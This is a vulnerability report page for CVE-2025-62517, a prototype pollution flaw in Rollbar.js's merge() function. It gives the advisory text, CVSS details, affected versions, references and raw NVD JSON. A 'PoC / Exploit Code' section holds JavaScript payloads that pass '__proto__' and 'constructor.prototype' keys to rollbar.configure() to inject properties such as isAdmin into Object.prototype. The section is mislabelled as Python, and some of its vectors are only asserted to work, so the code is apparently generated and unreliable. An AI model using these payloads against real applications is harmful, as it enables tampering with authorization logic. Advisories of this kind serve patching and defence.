Security Vulnerability Report
中文
CVE-2025-62517 CVSS 5.9 MEDIUM

CVE-2025-62517

Published: 2025-10-23 20:15:41
Last Modified: 2026-04-15 00:35:42

Description

Rollbar.js offers error tracking and logging from Javascript to Rollbar. In versions before 2.26.5 and from 3.0.0-alpha1 to before 3.0.0-beta5, there is a prototype pollution vulnerability in merge(). If application code calls rollbar.configure() with untrusted input, prototype pollution is possible. This issue has been fixed in versions 2.26.5 and 3.0.0-beta5. A workaround involves ensuring that values passed to rollbar.configure() do not contain untrusted input.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Rollbar.js < 2.26.5
Rollbar.js 3.0.0-alpha1
Rollbar.js 3.0.0-alpha2
Rollbar.js 3.0.0-alpha3
Rollbar.js 3.0.0-alpha4
Rollbar.js 3.0.0-alpha5
Rollbar.js 3.0.0-alpha6
Rollbar.js 3.0.0-alpha7
Rollbar.js 3.0.0-alpha8
Rollbar.js 3.0.0-beta1
Rollbar.js 3.0.0-beta2
Rollbar.js 3.0.0-beta3
Rollbar.js 3.0.0-beta4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62517 PoC - Rollbar.js Prototype Pollution // Affected versions: < 2.26.5, 3.0.0-alpha1 to < 3.0.0-beta5 // Setup Rollbar (assuming already configured with valid access token) const Rollbar = require('rollbar'); const rollbar = new Rollbar({ accessToken: 'YOUR_ACCESS_TOKEN', captureUncaught: true, captureUnhandledRejections: true }); // Prototype Pollution PoC - Pollute Object.prototype via rollbar.configure() console.log('Before pollution:', Object.prototype.isAdmin); // undefined // Attack: Pass malicious payload to rollbar.configure() rollbar.configure({ payload: { // Prototype pollution vector using __proto__ '__proto__.isAdmin': true, // Alternative vector using constructor 'constructor.prototype.isAdmin': true } }); // Verify pollution console.log('After pollution:', Object.prototype.isAdmin); // true // Verify pollution affects new objects const testObj = {}; console.log('New object isAdmin:', testObj.isAdmin); // true // Alternative payload structure targeting merge() function directly rollbar.configure({ // Direct prototype pollution '__proto__': { 'maliciousProperty': 'polluted', 'toString': () => 'custom' } }); console.log('Prototype polluted:', Object.prototype.maliciousProperty); // polluted

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62517", "sourceIdentifier": "[email protected]", "published": "2025-10-23T20:15:41.057", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rollbar.js offers error tracking and logging from Javascript to Rollbar. In versions before 2.26.5 and from 3.0.0-alpha1 to before 3.0.0-beta5, there is a prototype pollution vulnerability in merge(). If application code calls rollbar.configure() with untrusted input, prototype pollution is possible. This issue has been fixed in versions 2.26.5 and 3.0.0-beta5. A workaround involves ensuring that values passed to rollbar.configure() do not contain untrusted input."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "references": [{"url": "https://github.com/rollbar/rollbar.js/commit/61032fe6c208b71e249514800808a54bcb8cb8bb", "source": "[email protected]"}, {"url": "https://github.com/rollbar/rollbar.js/commit/d717def8b68f4a947975d0aebb729869cdb2d343", "source": "[email protected]"}, {"url": "https://github.com/rollbar/rollbar.js/pull/1390", "source": "[email protected]"}, {"url": "https://github.com/rollbar/rollbar.js/pull/1394", "source": "[email protected]"}, {"url": "https://github.com/rollbar/rollbar.js/security/advisories/GHSA-xcg2-9pp4-j82x", "source": "[email protected]"}]}}